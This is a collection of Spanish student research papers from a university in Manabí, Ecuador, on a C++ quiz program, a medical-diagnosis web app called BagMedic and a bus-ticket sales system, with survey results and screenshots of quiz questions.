ABSTRACT

Currently with technological advances, new strategies for education are understood with the use of technological tools in the development of the classes, so that they fulfill a dynamic role that contributes to the activation of the learning of the subjects dictated during an academic period. It shows how it can appreciate and reinforce with knowledge to acquire knowledge for students to develop their capacity for discernment. Providing a demonstrative interaction that is established between the teacher and students, seeks to create learning environments that provide opportunities for students to build notions, develop thinking skills, values and attitudes. One goal is to provide students with a different way of instruction with technological events, thus developing the program that helps trainees not only distinguish one way of learning but see other perspectives of academic improvement, to interact with technology, It opens a world of opportunities for those individuals who use it, one of them is that it offers the possibility of communication between person and machine for very different purposes. To deepen this research further, different methodologies were used, such as theoretical methods: historical-logical; synthesis analysis; empirical methods; poll; bibliographic Theoretical and practical are two fundamental aspects that go hand in hand as in cases of people have enough theoretical knowledge of something specific to facilitate the pact, but if you do not have much theoretical knowledge will have difficulties in his academic performance.

KEY WORDS: build, discernment, program, skills.

1. INTRODUCCIÓN

Actualmente con los avances tecnológicos, las nuevas estrategias para la educación se comprenden con la utilización de herramientas tecnológicas en el desarrollo de las clases, para que cumplan un papel dinámico que contribuya a la activación del aprendizaje de las asignaturas dictadas durante un periodo académico.

“Un sistema de autoevaluación basado en el servicio web que permite la implementación de preguntas de código en lenguajes de programación de alto nivel, en concreto en Java y C/C++ [1]. Este desarrollo es específico y original de la plataforma de e-learning AulaWeb empleada desde 1999 en la Escuela Técnica Superior de Ingenieros Industriales y en otros centros de la Universidad Politécnica de Madrid [2, 3]. Se pretende que el sistema pueda utilizarse como apoyo en la enseñanza y aprendizaje de cualquier lenguaje de programación, aunque, por ahora, sólo se ha implementado para C/C++ y Java y se ha utilizado en varias asignaturas de las titulaciones de Ingeniería Industrial, Ingeniería Química, Ingeniería de Organización e Ingeniería en Automática y Electrónica Industrial en la ETSII-UPM.” (M. GONZÁLEZ).

Los cuestionarios de aptitudes múltiples se comenzaron a utilizar en la selección y clasificación del personal militar e industrial en los Estados Unidos y se extendió su aplicación a la selección de los aspirantes a las Escuelas de Medicina, Derecho, Ingeniería, Odontología y otros campos profesionales.

Las pruebas de aptitud pretenden predecir la conducta futura en relación con el nivel de destrezas y razonamiento que se espera alcance el estudiante durante la etapa de su formación profesional. Se ha demostrado que la evaluación de los procesos lógicos del pensamiento que tienen lugar en las respuestas de los estudiantes, están localizadas en 2 áreas fundamentales del desarrollo intelectual: el razonamiento verbal y la habilidad numérica. (Scielo, 2004)

Desarrollo

Test es una palabra inglesa aceptada por la Real Academia Española (RAE). Este concepto hace referencia a las pruebas destinadas a evaluar conocimientos, aptitudes o funciones.

La palabra test puede utilizarse como sinónimo de examen. Los exámenes son muy frecuentes en el ámbito educativo ya que permiten evaluar los conocimientos adquiridos por los estudiantes. Los exámenes pueden ser orales o escritos, con preguntas de respuestas abiertas (donde el estudiante responde libremente) o preguntas de respuestas múltiples (el estudiante debe seleccionar la respuesta correcta de un listado).

En España se utiliza el término examen tipo test para referirse al segundo tipo de prueba mencionado en el párrafo anterior, que presenta preguntas con múltiples respuestas posibles.

Suele ser muy común en las universidades y en los institutos de enseñanza de lenguas extranjeras. Existen diferentes posturas con respecto a la validez de esta metodología, ya que un acierto no siempre refleja haber estudiado, sino que puede deberse simplemente a la suerte. De hecho, dado que es más fácil reconocer una frase por haberla visto escrita en otra ocasión que conocer un tema en profundidad y ser capaz de explicarlo, aun cuando un alumno aprueba sin trampas no puede decirse que haya aprendido.

Los centros educativos, por otro lado, parecen ser quienes más se benefician con los exámenes tipo test, dado que corregirlos resulta muy sencillo; dependiendo de cómo estén diseñados los cuestionarios, es absolutamente posible que un ordenador se encargue de realizar el duro trabajo de revisar las pruebas, devolviendo una serie de frías e imprecisas calificaciones que los estudiantes aceptarán como un símbolo de cuánto saben. El problema reside en que, para prepararse, deben superar en forma mecánica una serie de desafíos, tales como escribir una narración en menos de diez minutos, que nada tienen que ver con la utilidad real de los conocimientos que crean estar incorporando. (Perez & Gardey, 2008)

Entendemos como test, aquel tipo de examen en el que la respuesta es cerrada, y en la que el estudiante debe marcar una respuesta de entre las que se le proponen.

Por otro lado, los exámenes de desarrollo consisten en una o varias cuestiones que el estudiante debe desarrollar. Generalmente, los exámenes de este tipo exigen respuestas extensas y una adecuada capacidad de síntesis para condensar la información necesaria y adecuarla al tiempo del que se dispone.

Las pruebas tipo test son instrumentos de medida elaborados rigurosamente. Para que las preguntas del test sean apropiadas para la medición se debe emplear mucho tiempo para asegurarse de que estas se adapten a los ítems objetivo. Los test brindan la posibilidad de abarcar mucho conocimiento en poco tiempo. Por lo tanto, son recomendables a la hora de medir conocimientos sobre hechos y conceptos.

En cambio, la evaluación de tipo desarrollo permite la posibilidad de que el alumno se exprese y sea creativo, ya que se trata de respuestas abiertas y no tan específicas. Por tanto, son idóneos para medir la organización de las ideas y la resolución de problemas.

Las características de evaluación que presentan el tipo test favorecen que los estudiantes tengan una buena capacidad para estudiar hechos concretos e identificar diferencias sutiles entre los mismos. Pero, por otro lado, provocan que los estudiantes adquieran hábitos de estudio muy automatizados. Para contrarrestar este efecto se debe complementar la enseñanza con otros tipos de evaluación.

Introducción al software

En muchas ocasiones al enfrentarnos a la tarea de la enseñanza del lenguaje de programación C++ y a la hora de impartirlo se debe decidir qué IDE (entorno de desarrollo integrado del inglés Integrated Development Environment) usar en clases, podría ser una opción el C++ Builder, que es un IDE creado por la empresa Borland, pero es un software propietario y además ocupa un tamaño en disco enorme por la cantidad de posibilidades que ofrece y que muchas veces no es necesario utilizar ya que los fundamentos de programación no exigen grandes prestaciones. Es por eso que una aplicación pequeña y que forme parte de los softwares de plataforma de código abierto constituye una buena opción, siendo el software tratado en este artículo (Dev-C++) una herramienta a tener en cuenta en estas circunstancias.

El Dev-C++, es un IDE para crear aplicaciones utilizando el lenguaje de programación C++, que ocupa muy poco tamaño en el disco duro, ideal para crear programas pequeños en las que solo sea necesario demostrar el uso de estructuras de control y estructuras de datos, estas aplicaciones se pueden compilar rápidamente y ejecutar en forma de consola.

Dev-C++ es un compilador y entorno de desarrollo para el lenguaje C/C++. Se trata de una aplicación de código abierto, que ofrece todo tipo de facilidades para desarrollar grandes proyectos en C++. La aplicación presenta resaltado de sintaxis, depurador, una utilidad para crear instalaciones de nuestros programas, docenas de librerías y ficheros de ejemplo, etc. Como opciones extra, Dev-C++ incluye múltiples idiomas (incluido el español), explorador de clases y variables, plantillas, facilidad para instalar librerías adicionales, etc. Todo esto sólo es una pequeña parte de las posibilidades que se pueden encontrar en Dev-C++, un entorno de programación verdaderamente recomendable para desarrolladores de cualquier nivel.

Entre otras ventajas desde el punto de vista técnico se puede señalar, que permite importar los proyectos realizados anteriormente en MS Visual C++, se puede exportar código fuente o

proyectos a HTML o RTF para subir códigos a páginas Web y compartirlos, se pueden insertar marcadores en el editor para desplazarse en el código rápidamente, cada usuario puede crear su propia sintaxis coloreada, se puede configurar el menú insertar para colocar los fragmentos de código que más uno utilice, permite insertar nuevos compiladores para compilar códigos fuente, tiene una potente característica de autocompletar texto que permite aumentar la productividad al sugerir los comandos disponibles en el contexto en que uno se encuentra programando, tiene un explorador de clases que muestra las clases, miembros y funciones y por otro lado la información relevante al archivo mostrado en el editor, se pueden añadir carpetas personales en el explorador de clases para encontrar lo que se busca en los grandes proyectos, se puede guardar un proyecto como una plantilla de esta forma se puede comenzar a programar con una base en función a sus necesidades.

2. MATERIALES Y MÉTODOS

histórico-lógico; análisis síntesis; métodos empíricos; encuesta; bibliográficos.

Para el desarrollo de la investigación de carácter exploratoria se aplicaron los siguientes métodos: el método teórico como es el histórico-lógico; aplicado en la etapa de recopilación de información para el proceso de elaboración de la investigación, mediante libros, revistas de carácter científico e internet, se utilizó en el proceso del método de análisis-síntesis para los resultados para emitir las conclusiones en el trabajo de investigación y el método de encuesta que se utilizó para interpretar la información de los cuadros estadísticos y para graficar los resultados de la investigación y bibliográfico para acoplar el método histórico-lógico.

3. RESULTADOS Y DISCUSIÓN

Objetivo 1.- Analizar las ventajas que tiene la evaluación de los conocimientos a través del test de preguntas.

- Permite medir conocimientos generales, conocimientos especializados, competencias, habilidades y destrezas pre-establecidas.
- Elimina el factor de ambigüedad (o de polisemia) propios de las respuestas abiertas.
- Su aplicación necesita de menos tiempo que las preguntas de desarrollo.

- La cantidad de ítems a utilizar depende del grado de medición que se vaya a utilizar: un contenido específico, la materia de un tema general, un control trimestral o semestral, una prueba final, etc.
- La corrección es rápida e incluso puede mecanizarse. (planificaccion, s.f.)

Objetivo 2.- Definir las preguntas de las asignaturas de las que se obtendrán para la realización del test.

Algebra Lineal

- ¿Qué son los números complejos?
- ¿Cuáles son las operaciones fundamentales de los números complejos?
- ¿Qué son los sistemas de ecuaciones lineales?

Sistemas Operativos

- ¿En qué década surge el concepto de sistema operativo?
- ¿En qué año fue creado el primer sistema operativo?
- La primera generación de los sistemas operativos fue en el año

Programación

- Es una secuencia de instrucciones que una computadora puede interpretar y ejecutar
- Un IDE es un programa compuesto por un conjunto de herramientas para programar en uno o más lenguajes.
- ¿En qué año fue creado el lenguaje C?

Física

- ¿Cuál es la fórmula del espacio?
- ¿Cuál es la tercera ley de Newton?
- A que es igual la función seno
- ¿Cuántas funciones trigonométricas existen?

Ecología

- En el tipo sedimentario de los ciclos biogeoquímicos
- ¿Dónde circulan los nutrientes?
- ¿Con que otro nombre se conoce al ciclo del agua? Meteorológico

Objetivo 3.- Diseñar el programa informático en el IDE C++.

Tabla Estadística

N°	Preguntas	Opciones	Frecuencia	Porcentaje
1	¿Usted ha trabajado con lenguaje de programación C++?	Si	26	93%
		No	2	7%
2	Sabe usted que la teoría es tan importante como la practica en el desarrollo de su nivel de aprendizaje.	Si	25	89%
		No	3	11%
3	¿Cree usted que es importante tener conocimientos básicos-teóricos de las asignaturas que se imparten en segundo semestre?	Si	27	96%
		No	1	4%
4	Considera usted que es muy importante conocer los conceptos relacionados a las asignaturas de física, algebra lineal, sistemas operativos, programación y ecología.	Si	23	82%
		No	5	18%
5	Usted cree tener esos conocimientos teóricos de las asignaturas antes mencionadas.	Si	23	82%
		No	5	18%
6	Considera importante la creación de un programa en C++ que valore el conocimiento de los contenidos básicos de las asignaturas que Ud. ve en segundo semestre de la carrera tecnologías de la información.	Si	26	93%
		No	2	7%

Gráfico Estadístico

4. CONCLUSIONES

- La evaluación de conocimientos mediante el test permitió a los estudiantes poseer una mejor capacidad en sus hábitos de estudios y sus conocimientos educativos con el contenido de todas las asignaturas estudiadas y se extrajo los temas más resaltados a lo largo del semestre para elaborar las preguntas del test y, en base a lo analizado se pudo corroborar que tanto la teoría como la práctica son importantes para el desarrollo del aprendizaje significativo, el programa fue desarrollado basado en todo lo aprendido de C++ a lo largo del semestre en la asignatura de Programación. Se lo diseñó paso a paso y de manera ordenada para que a quienes va dirigido el test lo puedan responder sin titubear y obtener buenos resultados.

5. RECOMENDACIONES

- Según las conclusiones para un mejor desenvolvimiento educativo el estudiante tiene que ser evaluado mediante destrezas entre las más significativas está el test de evaluación de conocimientos es recomendable estudiar tanto la teoría como la práctica para tener un mejor aprendizaje no solo en las asignaturas del semestre presente, sino a lo largo del desarrollo profesional de cada estudiante.

REFERENCIAS BIBLIOGRÁFICAS

Campus, L. (2017, Marzo 23). Retrieved from <http://www.loyolaandnews.es/loyolacampus/mejor-forma-de-evaluar-el-aprendizaje/>

M. GONZÁLEZ, A. G.-B. (n.d.). PREGUNTAS AUTOEVALUABLES DE PROGRAMACIÓN EN C/C++ Y JAVA EN EL SISTEMA DE E-LEARNING AULAWEB . España .

Perez, P. J., & Gardey, A. (2008). Defnicion.De. Retrieved from <https://definicion.de/test/>

planificaccion. (n.d.). Retrieved from planificaccion: <http://ww2.educarchile.cl/portal.herramientas/planificaccion/1610/article-96050.html>

ANEXOS

Preguntas de algebra

Preguntas de sistemas operativos

```
G:\proyecto\Proyecto.exe

Sistemas Operativos

1)¿En que década surge el concepto de sistema operativos?

A)60
B)40
C)50
D)Ninguna de las anteriores

C
Respuesta correcta

2)¿En qué año fue creado el primer sistema operativo?

A)1956
B)1856
C)1975
D)1563

A
Respuesta correcta

3)La primera generación de los sistemas operativos fue en el año:

A)1940-1950
B)1945-1955
C)1890-1900
```

Preguntas de programación

```
G:\proyecto\Proyecto.exe

Programación

1)La siguiente definición pertenece a:
Es una secuencia de instrucciones que una computadora puede interpretar y ejecutar.

A)Programación
B)Lenguaje de programación
C)Programa
D)Entorno de desarrollo
E)Ninguna de las anteriores

C
Respuesta correcta

2)Verdadero o falso:
Un IDE es un programa compuesto por un conjunto de herramientas para programar en uno o mas lenguajes.

A)Verdadero
D)Falso

A
Respuesta correcta

3)¿En que año fue creado el lenguaje C?

A)1952
B)1978
C)1990
D)1974
E)Ninguna de las anteriores
```

Preguntas de física

```
G:\proyecto\Proyecto.exe
Física

¿Cuál es la fórmula del espacio?
A)  $x=v*t$ 
B)  $t=x*v$ 
C)  $v=t*x$ 
D)  $x=v/t$ 
E) Ninguna de las anteriores
A
Respuesta correcta

¿Cuál es la tercera ley de Newton?
A) Ley de la fuerza
B) Ley de la acción y reacción
C) Ley de la inercia
D) Ley de la estática
E) Ninguna de las anteriores
B
Respuesta correcta
```

Preguntas de Ecología

BIOGRAFÍA DEL AUTOR

Estefanía Magdalena Bailón Cedeño, estudiante de la carrera de Tecnología de la Información.

Jenny Andreina Lino Reyes, estudiante de la carrera de Tecnología de la Información.

López Arevalo Lidia Alexandra, estudiante de la carrera de Tecnología de la Información.

Jennifer Sonia Orellana Muñiz, estudiante de la carrera de Tecnología de la Información.

Ariana Mercedes Vasquez Pincay, estudiante de la carrera de Tecnología de la Información.

APLICACIÓN BAGMEDIC WEB PARA EL TRATAMIENTO DE PATOLOGÍAS BÁSICAS

Erick Abraham Figueroa Castillo,

Diego Paul Indacochea Loor,

Anthony Fabricio Suarez,

Joy Richard Lino Cruz,

Ing. Pascual Ángel Pisco Gómez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La tecnología y la medicina avanzan exponencialmente de la mano, para así beneficiar al hombre en el tratamiento de las patologías que pueden existir en el ámbito. Con el tiempo el uso de las tecnologías se verá inmerso en distintos campos de la salud, unos de los factores más influyentes en la medicina son la física, química, robótica e inteligencia artificial, los métodos usados para tener una mejor investigación son los métodos teóricos: histórico – lógico; análisis-síntesis así como métodos empíricos: diagnostico; encuesta; bibliográfica En la web encontramos mucha información en lo que respecta a el campo de la medicina y muchas veces necesitamos obtener información entonces requerimos de un sitio web que nos proporcione datos confiables sobre nuestra búsqueda. Por esto se tiene como objetivo el desarrollo de BagMedic web para la ayuda del tratamiento de patologías básicas, surge como la variante de escritorio, de la versión móvil, basado en conocimientos previos obtenidos por los creadores que usaron inteligencia artificial, el cual nos brindará un diagnóstico para la posible revisión de su doctor de confianza. Para esto mediante un chat interactivo se pudo consultar sobre las patologías que el usuario presentó.

PALABRAS CLAVE: diagnóstico, medicina, patologías, tratamiento, web.

ABSTRACT

Technology and medicine advance exponentially hand in hand, to benefit man in the treatment of pathologies that may exist in the field. Over time the use of technologies will be immersed in different fields of health, one of the most influential factors in medicine are physics, chemistry,

robotics and artificial intelligence, the methods used to have a better research are the theoretical methods : historical - logical; analysis-synthesis as well as empirical methods: diagnosis; poll; bibliography On the web we find a lot of information regarding the field of medicine and many times we need to obtain information so we need a website that provides us with reliable information about our search. This is why the development of BagMedic web for the help of the treatment of basic pathologies is aimed at, it arises as the desktop variant of the mobile version, based on previous knowledge obtained by the creators who used artificial intelligence, which will provide us with a diagnosis for the possible revision of your trusted doctor. For this through an interactive chat could be consulted about the pathologies that the user presented.

KEYWORDS: Diagnosis, Medicine, Pathologies, Treatment, Web.

1. INTRODUCCIÓN

En este campo, las aplicaciones pertenecientes a la denominada área de la inteligencia artificial despiertan un gran interés, debido a sus posibilidades para involucrarse en situaciones donde se requiere un gran acervo de conocimientos médicos, el veloz procesamiento de los datos y la toma efectiva de decisiones. Se valoran las perspectivas de uso de sistemas con comportamiento inteligente en el ámbito médico cubano, un objetivo básico en el sector de la salud, debido a la prioridad concedida a las investigaciones fundamentales y aplicadas en ciencias médicas en función de los programas dirigidos al mejoramiento de la salud de nuestro pueblo. Desde el punto de vista cibernético, tratar el intelecto artificial médico implica tratar sobre la capacidad predictiva y de adoptar soluciones que tengan como escenario no sólo un contexto médico, acompañadas de toda la carga afectiva, ética y espiritual en situaciones complicadas y con la economía de recursos correspondientes. (Anonimo, 2008)

Como antecedentes investigativos se encontró un trabajo de investigación de María del Carmen Expósito Gallardo; Rafael Ávila de la facultad de ciencias médicas de Holguín-Cuba con el tema “Aplicaciones de la inteligencia artificial en la Medicina: perspectivas y problemas” donde María y Rafael (2008) manifestaron que los avances experimentados en el campo de la informática médica en Cuba, en la parte de aplicaciones pertenecientes a la denominada área de la inteligencia artificial despiertan un gran interés, debido a sus posibilidades para involucrarse en situaciones donde se requiere un gran acervo de conocimientos médicos, el veloz procesamiento de los datos y la toma efectiva de decisiones. Y concluyen afirmando que la IAM

ha evolucionado espectacularmente con evidentes aciertos en las últimas dos décadas, al tiempo que despierta el interés en el sector médico farmacéutico, la administración de recursos humanos, la gestión de información científica médica, los análisis de laboratorios y las esferas del diagnóstico y el tratamiento.

En su investigación “La inteligencia artificial se convierte en médico” (Parkin, 2016)

La (Fundacion Unam, 2014) expone “La Inteligencia Artificial ha llegado más allá de la ciencia ficción, hoy en día es un campo de estudios muy amplio y en constante cambio. En el caso de la medicina, sus aplicaciones son extensas. Aquí hablaremos de algunas de las que más se utilizan en la actualidad.”

2. MÉTODOS Y MATERIALES

Métodos: Mediante este método fue capaz de iniciar un conjunto de situaciones similares donde se pudo encontrar muchas alternativas y explicaciones de porque suceden ciertas cosas donde se logró llegar a una conclusión y explicación médica para tener como respuesta un diagnóstico preciso mediante los métodos teóricos:

- **Histórico-lógico:** este método se utilizó para la construcción de la investigación con énfasis en la búsqueda de la información sobre las aplicaciones web.
- **Análisis-síntesis:** método de observación que se utilizó para profundizar el estudio a partir de la conexión que existe entre la causa y el efecto.

En la investigación necesitó saber a qué se enfrentaba y aquí empieza la observación científica tratando de explicar de manera empírica del ¿Por qué de las enfermedades? Y como un médico logra diagnosticar de manera exacta las enfermedades, pues en ello nacieron muchas interrogantes donde se han ido respondiendo científicamente por ello se usaron los métodos empíricos:

- **Encuesta:** Se utilizó como base esencial del desarrollo de esta investigación para saber cuán importante es la investigación y su influencia en los estudiantes.
- **Diagnóstico:** Se uso para determinar el potencial la influencia de los dispositivos tecnológicos para los alumnos.
- **Bibliográfica:** Se aplicó para citar las fuentes bibliográficas del método Histórico-lógico que comprende toda la investigación

Materiales:

- ✓ Computadoras
- ✓ Cuadernos
- ✓ Libros

3. RESULTADOS Y DISCUSIÓN

Pregunta 1: ¿Alguna vez ha usado una aplicación web para el tratamiento de patologías básicas?

Indicador	Absoluto	Relativa
Si	5	25%
No	15	75%
Total	20	100%

Gráfico # 1

Gráfico N° 1: ¿alguna vez ha usado una aplicación web para el tratamiento de patologías básicas?

Del 100% de los encuestados solo el 25% respondió SI mientras que el 75% respondió que no ha usado una aplicación web para el tratamiento de patologías básicas.

Pregunta 2: ¿Qué tan favorable cree usted que pueda ser el tener una aplicación web para el tratamiento de patologías básicas?

Indicador	Absoluto	Relativa
Bueno	15	75%
Regular	3	15%
Malo	2	10%
Total	20	100%

Gráfico # 2

Gráfico N° 2: ¿Qué tan favorable cree usted que pueda ser el tener una aplicación web para el tratamiento de patologías básicas?

Del 100% de los encuestados el 75% respondió Bueno mientras que el 15% Regular y el 10% respondió Malo sobre qué tan favorable cree usted que pueda ser el tener una aplicación web para el tratamiento de patologías básicas

Pregunta 3: ¿La atención recibida por los centros de salud ha sido de su agrado?

Grafico # 3

Gráfico N° 3: ¿La atención recibida por los centros de salud ha sido de su agrado?

Del 100% de los encuestados el 85% respondió que NO mientras que el 15% SI sobre si la atención recibida por los centros de salud ha sido de su agrado

Pregunta 4: ¿Qué tan seguido ha sentido la necesidad de consultar sobre alguna patología que usted presente en la web?

Gráfico # 4

Indicador	Absoluta	Relativa
Si	14	70%
No	6	30%
Total	20	100%

■ Siempre ■ A veces ■ Nunca

Gráfico N° 4: ¿Qué tan seguido ha sentido la necesidad de consultar sobre alguna patología que usted presente en la web?

Del 100% de los encuestados el 65% respondió que siempre mientras que el 30% y el 5% que nunca ha sentido la necesidad de consultar sobre alguna patología que presente.

Pregunta 5: ¿Cree usted que BagMedic Web brindará un buen diagnóstico sobre la patología que presente?

Indicador	Absoluta	Relativa
Siempre	13	65%
A veces	6	30%
Nunca	1	5%
Total	20	100%

Gráfico # 5

Gráfico N° 5: ¿Cree usted que BagMedic Web brindará un buen diagnóstico sobre la patología que presente?

Del 100% de los encuestados el 70% respondió que siempre mientras que el 30% cree que BagMedic Web brindará un buen diagnóstico sobre la patología que presente.

4. CONCLUSIONES

- Se puede concluir que esta aplicación web dará una facilidad de interactuar con un sistema médico en cualquier lugar, no importa el lugar en donde se encuentre si cuentas con acceso a internet BagMedic te ayudará a tratar de identificar una posible patología y brindará un diagnóstico que sea de tu ayuda.
- Al momento de diseñar debemos tener en cuenta que la información ingresada sea correcta y tener en cuenta las necesidades de las personas ya que se concluyó que una interfaz amigable y minimalista será de mayor agrado para los usuarios de esta aplicación web.

5. Recomendaciones

- Se recomienda dar un buen uso a BagMedic web dado que ayudará de múltiples formas al usuario de manera gratuita, es importante leer términos y condiciones antes de usar, así como todos debemos dar un buen uso a la tecnología de nuestra era.
- En base a las conclusiones al igual podemos recomendar la utilización de esta aplicación en caso de que no tengas ayuda médica disponible, ya que te ayudaría en estos momentos, pero cabe recalcar que al igual siempre es mejor contactar a un médico de cabecera o acudir a tu centro de salud más cercano ya que esta aplicación solo generará un posible diagnóstico.

REFERENCIAS BIBLIOGRÁFICAS

Anonimo. (Mayo de 2008). *Scielo*. Obtenido de Aplicaciones de la inteligencia artificial en la Medicina: perspectivas y problemas:

http://scielo.sld.cu/scielo.php?script=sci_arttext&pid=S1024-94352008000500005

aplicaciones, A. (16 de Diciembre de 2015). *ABC aplicaciones*. Obtenido de

https://www.abc.es/tecnologia/moviles/aplicaciones/abci-mediktor-primera-aplicacion-mundo-evalua-sintomas-paciente-201512162220_noticia.html

BIOGRAFÍA DEL AUTOR

Erick Abraham Figueroa Castillo, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Diego Paul Indacochea Loor, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Anthony Fabricio Suarez Cantos, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Joy Richard Lino Cruz, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Pascual Ángel Pisco Gómez. Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

IMPLEMENTACIÓN DE UN SISTEMA INFORMÁTICO Y PÁGINA WEB PARA LA GESTIÓN DE VENTA DE PASAJES DE RUTA DE TRANSPORTE TERRESTRE

Junior Ramiro García De La Cruz,
Carlos Bryan Quimis Del Valle,
Jonathan Cecilio Merchán Quimis,
Alexi Hernán Padilla Quijije,
Ing. Pisco Gómez Pascual Ángel. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

juniorgarciadlc@gmail.com,
camilo.bermudez1996@gmail.com,
alexisquijije1999@outlook.com,
jonathanmerchanquimis@gmail.com,
quimisbryan_1999@hotmail.com

RESUMEN

El objetivo principal de este proyecto es desarrollar un sistema automatizado para la gestión de venta de pasajes de ruta de transporte terrestre. La implementación de este sistema contribuye a generar más ingresos a la cooperativa transportista “Reales Tamarindos de la ciudad de Portoviejo”, debido a que estarán a la vanguardia con la tecnología y permitirá ahorrar tiempo; una vez analizado cuales fueron los factores que afectan a los métodos para generar boletos manualmente, rigiéndose en las debidas encuestas y entrevistas realizadas para llegar a la conclusión del mismo. Al desarrollar un sistema informático para la generación de lo estipulado se tuvo en consideración varios aspectos basándose en las necesidades de los usuarios y de la administración para tener una mejor correlación con los clientes, adicionalmente para desarrollar y ejecutarlo se hizo la utilización de los lenguajes de programación C++ y HTML5 para la elaboración de una página web con la finalidad de reducir el consumo de papeles para hacerlo más ecológico y contribuir con el bienestar del planeta, con esto se cambia el paradigma anterior en el que se generaba la asignación de lugar en el bus de transporte por medio de papeles. Lo novedoso de este sistema automatizado, es que ahora el usuario puede visualizar a

través de dispositivos que cuenten con acceso a la web: el número de asiento, el destino, y demás aspectos que son muy importantes al momento de abordar una unidad de transporte.

PALABRAS CLAVE: lenguajes de programación, páginas web, sistema automatizado.

ABSTRACT

The main objective of this project is to develop an automated system for the management of road tickets for land transport. The implementation of this system contributes to generate more income to the transport cooperative " Reales Tamarindos of the city of Portoviejo ", because they will be at the forefront with technology and will save time; Once analyzed what were the factors that affect the methods to generate tickets manually, ruling in the appropriate surveys and interviews conducted to reach the conclusion of it. When developing a computer system for the generation of the stipulated, several aspects were taken into consideration based on the needs of the users and the administration in order to have a better correlation with the clients, in which, additionally, to develop and execute it, language must be handled of C ++ programming, and HTML5 the use of this language was made for the elaboration of a web page with the purpose of reducing the consumption of papers to make it more ecological and contribute to the welfare of the planet, with this the previous paradigm is changed in the that the allocation of place in the transport bus was generated by means of papers. The novelty of this automated system is that now the user can visualize through devices that have access to the web: the seat number, the destination, and other aspects that are very important when boarding a transport unit.

KEYWORDS: automated system, programming languages, websites.

1. INTRODUCCIÓN

Para una empresa de transporte de pasajeros lo más importante es brindar un servicio eficaz y eficiente al cliente, desde que este adquiere su boleto para el arribo a su destino. Es por ello que si se innova con un sistema tecnológico de mayor rapidez que permita a los promotores agilizar la venta y a su vez mejorar la accesibilidad de la información en los puntos de venta generaría mayor satisfacción al cliente y así mismo gracias a la ingeniería en sus diferentes ramas de la informática se innovarían y se eliminarían las malas prácticas de procesos en la administración de generación de boletos. (Bustamante, 2016). En nuestro país aún existe un gran déficit en el área de los transportes lo cual dio a pensar que realmente hace falta este sistema el cual ayudaría

mucho al usuario y a los transportistas, ya que en ella se puede tener los datos e información de la persona que adquirió dicho boleto además sería un cambio positivo debido a que en la actualidad se debe innovar para ofrecer un mejor servicio al usuario.

El Desarrollo de un sistema para gestionar ventas de boletos es una de las herramientas importantes y que más deberían utilizarse dentro de las cooperativas, debido a que permiten gestionar de una manera apropiada e ideal la venta de sus boletos. Anteriormente existían muchos estereotipos en el ámbito informático, se creía que estos tipos de sistemas eran algo costosos que solo grandes empresas podrían acceder y comprar, se estipulaba que era una inversión mal generada por parte de la cooperativa si accedían a la adquisición de estos tipos de software. En cierto grado existe algo verídico, pero esto depende del tipo de sistema que requiera dicha empresa; en la actualidad podemos observar y analizar que no solo grandes empresas hacen adquisición de estos tipos de software, sino que también microempresas o Pymes las utilizan por lo que no necesitan contratar compañías que cobran remuneraciones muy altas, solo hace falta acordar con un desarrollador para que realice su trabajo de buena calidad a un costo más accesible. En base a lo dicho anteriormente se pensó en el desarrollo de este proyecto para que sea usado a manera de herramienta para gestionar boletos, dicho sistema constara de una interfaz gráfica sencilla la cual pueda ser utilizada y manipulada por cualquier persona con conocimientos básicos de utilitarios. Además, con este proyecto se busca no solo generar y asignar asientos a los usuarios, sino que también constará dentro del mismo la hora en que saldrá el autobús, el kilometraje estipulado por ANT y la hora aproximada hasta el destino de cada usuario. Se pretende como objetivo general elaborar un sistema automatizado que permita gestionar las ventas de boletos en la cooperativa Reales Tamarindos de la ciudad de Portoviejo y para dicho propósito es necesario: Analizar los factores sociales, tecnológicos, culturales, que afectan a los métodos utilizados actualmente para el desarrollo de ventas de boletos. Implementar y diseñar el sistema para gestionar la venta de pasajes dentro de la cooperativa de transporte Reales Tamarindos. Proporcionar adicionalmente una página web donde se pueda visualizar los boletos adquiridos por los usuarios.

2. MATERIALES Y METODOS

Los métodos utilizados para esta investigación cuyo tema es “IMPLEMENTACIÓN DE UN SISTEMA INFORMÁTICO Y PÁGINA WEB PARA LA GESTIÓN DE VENTA DE PASAJES DE RUTA DE TRANSPORTE TERRESTRE”, son los siguientes:

Método inducción-deducción: al realizar la investigación en un inicio se tuvo que crear una problemática basándose en los inconvenientes que existentes dentro de la terminal terrestre de la capital Manabita específicamente en la cooperativa “Reales Tamarindos” que tienen en la actualidad, luego de haber obtenido el problema planteado dentro de la investigación se procede a resolver dicho objetivo, para así poder llegar a la finalización del proyecto.

Método estadístico: cuando aplicamos las encuestas dirigidas hacia los ciudadanos que hacen uso de la institución transportista ya antes mencionada, para analizar la problemática de porque no se hace el uso de un sistema informático para generar boletos así mismo que tan factible seria la propuesta planteada.

3. RESULTADOS Y DISCUSION

Según el Instituto Nacional de Estadísticas y Censos (INEC), la ciudad de Portoviejo cuenta con 250.000 habitantes en su totalidad, alrededor de 700 usuarios, que representan aproximadamente el 1,75% usan frecuentemente el medio de transporte de la cooperativa Reales Tamarindos, por tal razón se utiliza el universo finito.

Con la muestra obtenida a través de la fórmula de población, fueron encuestados un total de 600 personas y como resultado de la investigación se obtuvo que un 54% de los encuestados de la cooperativa de transporte Reales Tamarindos, consideran que el sistema de generación de boletos creado ayuda mucho en destacar dicha cooperativa.

Como un dato muy importante el 56% de los encuestados opinan que la idea de dejar atrás el sistema manual de generación de boletos por un sistema computarizado les parece muy buena. Como un punto muy importante un 75% afirma que con el sistema automatizado de emisión de boletos se evita la aglomeración de usuarios en días festivos. La consideran una idea excelente debido a que la tecnología está presente en todas partes y esto a su vez generara cambios estructurales, facilidades operacionales, comodidad y seguridad a los usuarios.

Estos resultados quedan evidenciados en las respuestas aportadas a las encuestas realizadas y que se presentan a continuación.

En una encuesta realizada a 600 usuarios y entrevista al encargado de la cooperativa de transportes se llegó a la conclusión que uno de los factores sociales que afectan es el sistema de generar boletos por medios tecnológicos, el resultado de la encuesta es:

1.- ¿Cuántas utiliza al mes un bus de la cooperativa Reales Tamarindos?

TABLA #1

